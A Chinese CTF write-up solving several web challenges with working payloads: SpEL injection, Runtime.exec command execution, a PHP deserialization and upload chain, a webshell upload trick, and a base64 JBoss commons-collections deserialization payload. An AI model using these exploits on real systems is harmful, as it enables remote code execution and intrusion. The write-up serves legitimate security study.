secret_value
登录后在 dashboard 处可以看到 flag,但访问前需经过 login_required 装饰器检查。
def login_required(view_func):
@wraps(view_func)
def wrapped(*args, **kwargs):
uid = request.headers.get('X-User', '0')
print(uid)
if uid == 'anonymous':
flash('Please sign in first.', 'warning')
return redirect(url_for('login'))
try:
uid_int = int(uid)
except (TypeError, ValueError):
flash('Invalid session. Please sign in again.', 'warning')
return redirect(url_for('login'))
user = User.query.filter_by(id=uid_int).first()
if not user:
flash('User not found. Please sign in again.', 'warning')
return redirect(url_for('login'))
g.current_user = user
return view_func(*args, **kwargs)
return wrapped
1️⃣ 读取代理传来的用户 ID
Flask 每次请求时从 HTTP 请求头中取出 X-User。该 Header 由前端的 Go Authorizer 代理自动添加。
- 未登录时:
X-User: anonymous - 已登录时:
X-User: 1(用户 ID)
普通用户注册后无法看到内容,需要伪造管理员身份。如果 uid 为 0 可能以管理员身份获取 flag,但中间件的 Go 代码会自动识别并覆盖当前用户的 uid,即该参数被强制加上。
可利用 Hop-by-Hop Headers 技巧删除 Go 生成的 X-User 请求头,从而绕过限制拿到 flag。
bbjv
存在 SpEL 注入漏洞。
代码整体分析
这是一个基于 Spring Boot 的网关应用,核心功能是通过 SpEL 表达式执行规则检查,并在特定条件下读取并返回 flag 文件内容。
- GatewayController 暴露
/check端点,接收rule参数调用EvaluationService执行 SpEL 表达式检查用户主目录下的flag.txt文件。 - EvaluationService 使用 SpEL 解析器执行表达式,采用
TemplateParserContext支持${}模板语法。 - SpelConfig 配置受限的 SpEL 执行环境,使用
SimpleEvaluationContext限制功能,添加自定义的SecurePropertyAccessor。 - SecurePropertyAccessor 重写
canRead()始终返回 false,禁止所有属性访问操作。
Flag 位于 /tmp 目录下,可通过修改 user.home 系统属性实现。
#{#systemProperties['user.home']='/tmp'}
虽然 SimpleEvaluationContext 阻断了反射属性读取,但 Map 访问器仍可用;而 #systemProperties 是 java.util.Properties,因此可以用下标写入。
yamcs
测试黑盒思路,页面似乎可以执行 summary 中的代码。
尝试执行以下代码验证沙箱环境:
// 安全检测:检查是否能读取系统属性(非破坏性)
try {
String prop = System.getProperty("user.dir");
out0.setStringValue("PROP_ALLOWED:" + (prop == null ? "NULL" : prop));
} catch (Throwable t) {
out0.setStringValue("PROP_BLOCKED");
}
成功执行后,生成读 flag 的命令:
try {
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec("cat /flag").getInputStream()
).useDelimiter("\\A");
out0.setStringValue(s.hasNext() ? s.next().trim() : "EMPTY");
} catch (Exception e) {
out0.setStringValue("ERROR");
}
ez_php
代码包含 eval 和反序列化逻辑。
<?=eval(base64_decode('...')); ?>
反序列化后的类结构如下:
<?php
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
date_default_timezone_set('Asia/Shanghai');
class test {
public $readflag;
public $f;
public $key;
public function __construct() {
$this->readflag = new class {
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);
$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) { if (is_file($file)) unlink($file); }
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.jpg';
$GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;
if (system("cp " . $uploadedFile . " " . $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}
public function __wakeup() { phpinfo(); }
public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file)) die("error");
$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/ |ph|\?=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
}
};
}
public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);
?>
传入 key 为 func 时,可以调用函数。利用这一点调用匿名类的 readflag 方法。PHP 在析构时是后进先出(LIFO),必须保证先触发匿名类的方法去'定义全局函数',然后再触发调用全局函数。最简单的策略是把'定义函数'的对象放在序列化数组里靠后,把'调用函数'的对象放在数组里靠前。
匿名类命名规则遵循 %00 + 函数 + 路径 : 行号$序号。通过 docker 实例可推导出其名字。
构造序列化 payload 上传文件,文件名需包含 phar 才会触发 include 解析 phar 的逻辑。通过枚举 seed 找到包含 'phar' 字符串的文件名。
日志系统
第一步上传马的思路:
/api.php?timestamp[year]=20×tamp[month]=25×tamp[day]=0×tamp[day].=php
访问 2025.php 即可发现成功上传。排除 sudo 提权和 suid 提权后,发现 jboss 相关进程,版本为 4.2.3,锁定使用 JBoss 提权。
4446 端口可以打一个 cc 依赖的反序列化 Payload。
String payload = "rO0ABXNyACLBqsGhwbbBocCuwbXBtMGpwazArsGIwaHBs8GowY3BocGwBQfawcMWYNEDAAJGABTBrMGvwaHBpMGGwaHBo8G0wa/BskkAEsG0wajBssGlwbPBqMGvwazBpHhwP0AAAAAAAAx3CAAAABAAAAABc3IAaMGvwbLBp8CuwaHBsMGhwaPBqMGlwK7Bo8Gvwa3BrcGvwa7Bs8CuwaPBr8GswazBpcGjwbTBqcGvwa7Bs8CuwavBpcG5wbbBocGswbXBpcCuwZTBqcGlwaTBjcGhwbDBhcGuwbTBssG5iq3SmznBH9sCAAJMAAbBq8Glwbl0ACTBjMGqwaHBtsGhwK/BrMGhwa7Bp8CvwY/BosGqwaXBo8G0wLtMAAbBrcGhwbB0AB7BjMGqwaHBtsGhwK/BtcG0wanBrMCvwY3BocGwwLt4cHNyAHTBo8Gvwa3ArsGzwbXBrsCuwa/BssGnwK7BocGwwaHBo8GowaXArsG4waHBrMGhwa7ArsGpwa7BtMGlwbLBrsGhwazArsG4wbPBrMG0waPArsG0wbLBocG4wK7BlMGlwa3BsMGswaHBtMGlwbPBicGtwbDBrAlXT8FurKszAwAGSQAawZ/BqcGuwaTBpcGuwbTBjsG1wa3BosGlwbJJABzBn8G0wbLBocGuwbPBrMGlwbTBicGuwaTBpcG4WwAUwZ/BosG5wbTBpcGjwa/BpMGlwbN0AAbBm8GbwYJbAAzBn8GjwazBocGzwbN0ACTBm8GMwarBocG2waHAr8GswaHBrsGnwK/Bg8GswaHBs8GzwLtMAArBn8GuwaHBrcGldAAkwYzBqsGhwbbBocCvwazBocGuwafAr8GTwbTBssGpwa7Bp8C7TAAiwZ/Br8G1wbTBsMG1wbTBkMGywa/BsMGlwbLBtMGpwaXBs3QALMGMwarBocG2waHAr8G1wbTBqcGswK/BkMGywa/BsMGlwbLBtMGpwaXBs8C7eHAAAAAA/////3VyAAbBm8GbwYJL/RkVZ2fbNwIAAHhwAAAAAnVyAATBm8GCrPMX+AYIVOACAAB4cAAADtbK/rq+AAAANABmCgAUADQIADUKAAUANggAHgcANwcAIQoABQA4CgA5ADoKADsAPAgAPQoAPgA/CgAFAEAKAEEAOgcAQgoAQwBECgBBAEUKADkARgoABQBHBwBIBwBJAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACFMcGF5bG9hZC9UZW1wbGF0ZUltcGxDbGFzc0xvYWRlcjsBAAZsb2FkZXIBABFMamF2YS9sYW5nL0NsYXNzOwEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAARjb2RlAQACW0IBAAtjb25zdHJ1Y3RvcgEAH0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAApFeGNlcHRpb25zBwBKAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcASwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAHFRlbXBsYXRlSW1wbENsYXNzTG9hZGVyLmphdmEMABUAFgEATmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwkVHJhbnNsZXRDbGFzc0xvYWRlcgwATABNAQAPamF2YS9sYW5nL0NsYXNzDABOAE8HAFAMAFEAUgcAUwwAVABXAQVceXY2NnZnQUFBRFFBUUFvQUVBQWxDQUFtQ1FBbkFDZ0lBQ2tLQUFZQUtnY0FLd2dBTEFnQUxRZ0FIUWdBTGdvQUx3QXdDZ0F2QURFSEFESUtBQTBBTXdjQU5BY0FOUUVBQmp4cGJtbDBQZ0VBQXlncFZnRUFCRU52WkdVQkFBOU1hVzVsVG5WdFltVnlWR0ZpYkdVQkFCSk1iMk5oYkZaaGNtbGhZbXhsVkdGaWJHVUJBQVIwYUdsekFRQVZUSEJoZVd4dllXUXZVblZ1ZEdsdFpVVjRaV003QVFBSVBHTnNhVzVwZEQ0QkFBUjJZWEl4QVFBVFcweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFCSFpoY2pNQkFCVk1hbUYyWVM5cGJ5OUpUMFY0WTJWd2RHbHZianNCQUFOamJXUUJBQkpNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUExVGRHRmphMDFoY0ZSaFlteGxCd0FyQndBYUJ3QXlBUUFLVTI5MWNtTmxSbWxzWlFFQUVGSjFiblJwYldWRmVHVmpMbXBoZG1FTUFCRUFFZ0VBVkdOaGRDQXZaWFJqTDJsaVpHTnFaR0ZxYVdvdmFXSmtZMnBrWVdwcGFpOXBZbVJqYW1SaGFtbHFMMmxpWkdOcVpHRnFhV292YVdKa1kycGtZV3BwYWk5bWJEUTBORFEwTkdjZ1BpQXZkRzF3THpFeU13Y0FOZ3dBTndBZUFRQUJMd3dBT0FBNUFRQVFhbUYyWVM5c1lXNW5MMU4wY21sdVp3RUFCeTlpYVc0dmMyZ0JBQUl0WXdFQUFpOURCd0E2REFBN0FEd01BRDBBUGdFQUUycGhkbUV2YVc4dlNVOUZlR05sY0hScGIyNE1BRDhBRWdFQUNXVlJkVzV6U1ZCdU1RRUFFR3BoZG1FdmJHRnVaeTlQWW1wbFkzUUJBQXhxWVhaaEwybHZMMFpwYkdVQkFBbHpaWEJoY21GMGIzSUJBQVpsY1hWaGJITUJBQlVvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1ZvQkFCRnFZWFpoTDJ4aGJtY3ZVblZ1ZEdsdFpRRUFDbWRsZEZKMWJuUnBiV1VCQUJVb0tVeHFZWFpoTDJ4aGJtY3ZVblZ1ZEdsdFpUc0JBQVJsZUdWakFRQW9LRnRNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56T3dFQUQzQnlhVzUwVTNSaFkydFVjbUZqWlFBaEFBOEFFQUFBQUFBQUFnQUJBQkVBRWdBQkFCTUFBQUF2QUFFQUFRQUFBQVVxdHdBQnNRQUFBQUlBRkFBQUFBWUFBUUFBQUFVQUZRQUFBQXdBQVFBQUFBVUFGZ0FYQUFBQUNBQVlBQklBQVFBVEFBQUEwd0FFQUFNQUFBQklFZ0pMc2dBREVnUzJBQVdaQUJrR3ZRQUdXUU1TQjFOWkJCSUlVMWtGS2xOTXB3QVdCcjBBQmxrREVnbFRXUVFTQ2xOWkJTcFRUTGdBQ3l1MkFBeFhwd0FJVFN5MkFBNnhBQUVBTndBL0FFSUFEUUFEQUJRQUFBQW1BQWtBQUFBSEFBTUFDUUFPQUFvQUpBQU1BRGNBRHdBL0FCSUFRZ0FRQUVNQUVRQkhBQk1BRlFBQUFDb0FCQUFoQUFNQUdRQWFBQUVBUXdBRUFCc0FIQUFDQUFNQVJBQWRBQjRBQUFBM0FCQUFHUUFhQUFFQUh3QUFBQlVBQlB3QUpBY0FJUHdBRWdjQUlVb0hBQ0w1QUFRQUFRQWpBQUFBQWdBawcAWAwAWQBaDABbAFwHAF0BABBqYXZhL2xhbmcvT2JqZWN0BwBeDABfAGAGEAYgwAYwBkDABhAGUBAAVib3Z0TwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy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";
byte[] serialize = Base64.getDecoder().decode(payload);
byte[] aced = Arrays.copyOfRange(serialize, 0, 4);
byte[] range = Arrays.copyOfRange(serialize, 4, serialize.length);
byte[] bs = new byte[]{0x77, 0x01, 0x16, 0x79};
System.out.println(aced.length + range.length == serialize.length);
byte[] bytes = ArrayUtils.addAll(aced, bs);
bytes = ArrayUtils.addAll(bytes, range);
Files.write(bytes, new File("./payload.ser"));
接下来搭一个流量转发把 payload 放进去即可。
CeleRace
主要逻辑在 app.py 里。可以通过接口打 SSRF,尝试去打 Redis,但该接口要求 admin,需要绕过鉴权。
利用 ../ 可以绕过鉴权使用接口。
接下来可以通过 Lua 脚本打 Redis。Redis 从 2.6 版本之后引入 Lua 脚本,可以用 Lua 来执行 Redis 命令。
贴一篇参考 WP。
PTer
赛后没有环境搭建,建议参考相关博客进行复现。

